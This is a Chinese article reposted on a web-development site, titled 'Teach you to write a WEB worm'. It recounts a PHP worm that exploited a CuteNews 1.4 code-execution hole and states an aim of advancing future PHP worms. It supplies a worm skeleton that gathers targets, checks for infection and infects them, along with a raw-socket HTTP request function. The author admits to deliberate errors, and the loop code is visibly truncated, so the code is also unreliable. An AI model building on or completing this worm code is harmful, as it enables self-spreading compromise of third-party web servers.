教你编写WEB蠕虫
2009-06-12 16:54:59 来源:WEB开发网本文以一些未公开的WEB蠕虫为例,这些蠕虫可通过PHP漏洞脚本进行自我传播。该蠕虫叫World Cant Wait ,在11.2被公布在成千上万个信息公告栏和博客上,以此反对布什政权。原先它利用的是一个私有漏洞,就是最近曝出的关于CuteNews 1.4的php代码执行漏洞。这个蠕虫可自动寻找目标,并自我繁殖。在蠕虫病毒肆虐的同时,街上的人们还高喊着抗议口号。在此我并不打算冒着触犯法律的风险而去破坏一些系统,而是将通过阐述这项技术,并发布相关的模块代码,以此来推动未来PHP蠕虫的发展。
虽然本文中故意留有一些错误,并且仅提供部分代码,但凭此你也是可以写出一个具备一定破坏力的蠕虫病毒的,我们这样做的目的主要是为了防止媒体把我们描述成一些具有暴力和破坏力的黑客。编写蠕虫的优美与才智是体现在编写代码本身,而非它可以黑掉多少系统。现在让我们一起去探索其中的奥秘吧,同时请记住:代码无罪!
===自动化===
挖掘漏洞并编写一个可自动搜集目标和利用的引擎。WEB漏洞具有可预测性,通过搜索引擎可很容易地做到,而且通过构造一系列的HTTP requests即可实现自动化攻击。
while ($stop == false) {
$list = gather_targets();
for ($i=0;$i
echo " [x] targetting $list[$i]...n";
if (!is_infected($list[$i])) infect($list[$i]);
}
$stop = true;
}
为了让WEB蠕虫进行自我传播,你需要将利用过程自动化,这可以通过使用PHP socket函数与web server建立连接,并发送http数据。下面的函数演示了如何使用PHP脚本来连接服务器,发送数据并返回响应信息:
function make_request($domain, $packet) {
$fp = @fsockopen($domain, 80, $errno, $errstr, 10);
if (!$fp) return false;
fwrite($fp, $packet);
while (!feof($fp)) $text.= fgets($fp);
fclose($fp);
}
- ››Web服务器和应用服务器的区别
- ››编写Linux定时处理程序
- ››web安全之信息刺探防范1
- ››webqq 最新加密算法
- ››webdriver 数据库验证方法
- ››WebSphere Application Server 7.0 XML Feature P...
- ››Web2.0网络时代基于社会影响力的声望值
- ››Web服务器搭建:配置Linux+Apache+Mysql+PHP(或Pe...
- ››编写Linux系统下Daemon程序的方法步骤
- ››WebLogic调整Java虚拟机性能优化参数
- ››webqq2.0协议研究(3)-ClientId生成
- ››Web.config配置文件
更多精彩
赞助商链接